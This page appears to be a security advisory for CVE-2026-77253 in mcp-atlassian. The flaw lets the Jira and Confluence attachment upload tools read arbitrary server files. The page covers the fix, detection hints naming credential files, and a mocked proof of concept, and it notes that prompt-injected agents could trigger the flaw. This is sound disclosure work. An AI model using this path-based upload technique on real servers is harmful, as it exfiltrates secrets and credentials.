NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-77253: MCP Atlassian: Jira and Confluence attachment upload tools can read arbitrary server-local files

highCVSS 3.1 7.1GHSA-vc25-24vv-fxxm

mcp-atlassian before 0.22.0 lets a caller with write-tool access make the server read any file its process can open and upload it to Jira or Confluence as an attachment. The upload tools take local paths with no directory check. Upgrade to 0.22.0, or run in read-only mode.

Published Sep 22, 2026 · Analysis Oct 22, 2026

What an attacker can do

The Confluence upload tool takes a file_path described as an absolute or relative server path. It resolves relative paths, checks the file exists, and opens it with open(file_path, "rb"). The multi-upload variant takes comma-separated paths. Jira's upload code does the same, and jira_update_issue accepts an attachments field of JSON or CSV paths that reaches upload_attachments(). None of these call validate_safe_path() or restrict the directory.

A caller who can invoke write tools therefore reads server-side files and sends them to an issue or page that the configured account can write to. The attacker then reads the file back from Atlassian. In containers this can include mounted secrets, environment files, OAuth token files, service-account credentials and source code.

The attack is remote when the MCP server is exposed over HTTP or shared by several users, and it needs only the ability to call the write tools. A prompt-injected agent could trigger it too. The tools carry @check_write_access, so READ_ONLY_MODE=true blocks them. The reporter proved the file reads with mocked upload sinks, without contacting Atlassian.

Who is affected

mcp-atlassian below 0.22.0 is affected. Risk is highest for HTTP or multi-user deployments with write access enabled, which is the default.

pip show mcp-atlassian

For uvx or container installs, check the pinned version or image tag. A single-user stdio setup is exposed only through whoever controls the client or its prompts.

mcp-atlassian

Ecosystem
PyPI
Affected
< 0.22.0
Fixed in
0.22.0
Check
pip show mcp-atlassian

How to fix it

Upgrade to 0.22.0:

pip install --upgrade mcp-atlassian==0.22.0

The fix is in pull request 1448 (commit b041733). Until you upgrade, set READ_ONLY_MODE=true to block the upload and update tools. Do not expose the HTTP transport to untrusted callers, and keep secrets out of the MCP process's readable filesystem.

How to tell if you were hit

Look in Jira and Confluence for attachments you did not expect, such as files named like .env, credentials.json, id_rsa or token files, added by the MCP service account. In MCP server logs, search for calls to the attachment upload tools or jira_update_issue with an attachments value containing absolute paths or ... Beam can record agent MCP tool calls and file access, which helps show whether an agent session triggered an upload.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

MCP Atlassian exposes Jira and Confluence attachment upload tools that accept arbitrary local filesystem paths and upload those file contents to Atlassian. In HTTP or multi-user deployments, an MCP caller who can invoke write tools can cause the server to read any file accessible to the MCP process and send it to Jira/Confluence as an attachment.

Details

The Confluence MCP upload tool accepts a file_path described as an absolute or relative server path in src/mcp_atlassian/servers/confluence.py:1290-1316 and forwards it directly to confluence_fetcher.upload_attachment() in src/mcp_atlassian/servers/confluence.py:1356-1363. The multi-upload variant accepts comma-separated local paths in src/mcp_atlassian/servers/confluence.py:1372-1449.

The Confluence attachment implementation converts relative paths to absolute paths, checks only existence, and then opens the path for upload. There is no call to validate_safe_path() or any allowed directory check for uploads in src/mcp_atlassian/confluence/attachments.py:61-79; the direct upload path opens the file with open(file_path, "rb") in src/mcp_atlassian/confluence/attachments.py:467-490.

The Jira upload implementation has the same pattern: it converts relative paths, checks existence, and opens the path in src/mcp_atlassian/jira/attachments.py:371-388. Jira issue update also accepts an attachments field as JSON or CSV local paths in src/mcp_atlassian/servers/jira.py:1609-1662, forwards it through update fields in src/mcp_atlassian/servers/jira.py:1668-1676, and IssuesMixin.update_issue() calls self.upload_attachments(issue_key, kwargs["attachments"]) in src/mcp_atlassian/jira/issues.py:1132-1137.

The tools are decorated with @check_write_access, so READ_ONLY_MODE=true blocks them. However, in default write-enabled deployments, the only security boundary is whether the MCP caller can invoke write tools. Combined with HTTP/multi-user exposure, this becomes a server-side arbitrary file read/exfiltration primitive to the configured Jira/Confluence instance.

PoC

The following proof uses temporary files and mocked upload sinks only. It does not contact Atlassian or modify remote data.

uv run python - <<'PY'
import json, tempfile
from pathlib import Path
from types import SimpleNamespace
from mcp_atlassian.confluence.attachments import AttachmentsMixin as ConfluenceAttachmentsMixin
from mcp_atlassian.confluence.config import ConfluenceConfig
from mcp_atlassian.jira.attachments import AttachmentsMixin as JiraAttachmentsMixin
from mcp_atlassian.jira.config import JiraConfig

class FakeResponse:
    def raise_for_status(self):
        pass
    def json(self):
        return {'results': [{'id': 'att-poc'}]}

class FakeConfluenceSession:
    def __init__(self):
        self.uploaded = None
    def put(self, url, headers=None, files=None, data=None):
        file_tuple = files['file']
        self.uploaded = {
            'url': url,
            'filename': file_tuple[0],
            'content': file_tuple[1].read().decode(),
        }
        file_tuple[1].close()
        return FakeResponse()

def confluence_probe(secret_path):
    fetcher = object.__new__(ConfluenceAttachmentsMixin)
    session = FakeConfluenceSession()
    fetcher.config = ConfluenceConfig(url='https://confluence.example.test/wiki', auth_type='pat', personal_token='token')
    fetcher.confluence = SimpleNamespace(_session=session)
    result = fetcher.upload_attachment('123456', str(secret_path))
    return {'result_success': result.get('success'), 'uploaded': session.uploaded}

class FakeJiraApi:
    def __init__(self):
        self.uploaded = None
    def add_attachment(self, issue_key, filename):
        self.uploaded = {
            'issue_key': issue_key,
            'filename': Path(filename).name,
            'content': Path(filename).read_text(),
        }
        return {'id': 'att-poc'}

def jira_probe(secret_path):
    fetcher = object.__new__(JiraAttachmentsMixin)
    fake = FakeJiraApi()
    fetcher.config = JiraConfig(url='https://jira.example.test', auth_type='pat', personal_token='token')
    fetcher.jira = fake
    result = fetcher.upload_attachment('SAFE-1', str(secret_path))
    return {'result_success': result.get('success'), 'uploaded': fake.uploaded}

with tempfile.TemporaryDirectory(prefix='mcp-atlassian-upload-poc-') as tmp:
    secret_path = Path(tmp) / 'server-secret.txt'
    secret_path.write_text('SERVER_LOCAL_SECRET_MARKER')
    print(json.dumps({
        'confluence': confluence_probe(secret_path),
        'jira': jira_probe(secret_path),
    }, indent=2, sort_keys=True))
PY

Observed output from this environment:

{
  "confluence": {
    "result_success": true,
    "uploaded": {
      "content": "SERVER_LOCAL_SECRET_MARKER",
      "filename": "server-secret.txt",
      "url": "https://confluence.example.test/wiki/rest/api/content/123456/child/attachment"
    }
  },
  "jira": {
    "result_success": true,
    "uploaded": {
      "content": "SERVER_LOCAL_SECRET_MARKER",
      "filename": "server-secret.txt",
      "issue_key": "SAFE-1"
    }
  }
}

The proof demonstrates that attacker-supplied local paths reach file reads and the contents are passed to the upload sink.

Impact

A caller with MCP write-tool access can exfiltrate any file readable by the MCP server process to an Atlassian issue or Confluence page that the configured account can write to. In containerized or server deployments this can include mounted secrets, environment files, OAuth fallback token files, service-account credentials, source code, or other local data. The attack is remote when the MCP server is exposed over HTTP and requires only ability to call the attachment/update write tools.

Credited to sondt99.

Questions

Does READ_ONLY_MODE stop this?

Yes. The upload tools are decorated with @check_write_access, so READ_ONLY_MODE=true blocks them. Default write-enabled deployments are exposed.

Which files can be read?

Any file the MCP server process can read, since the upload code checks only that the path exists. In containers that can include mounted secrets and token files.

Is this exploitable without network access?

The advisory calls it remote when the server runs over HTTP. A local stdio server is reachable only by whoever controls the MCP client, including an agent steered by prompt injection.

Is there a patch?

Yes. mcp-atlassian 0.22.0 is the patched version listed in the advisory.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries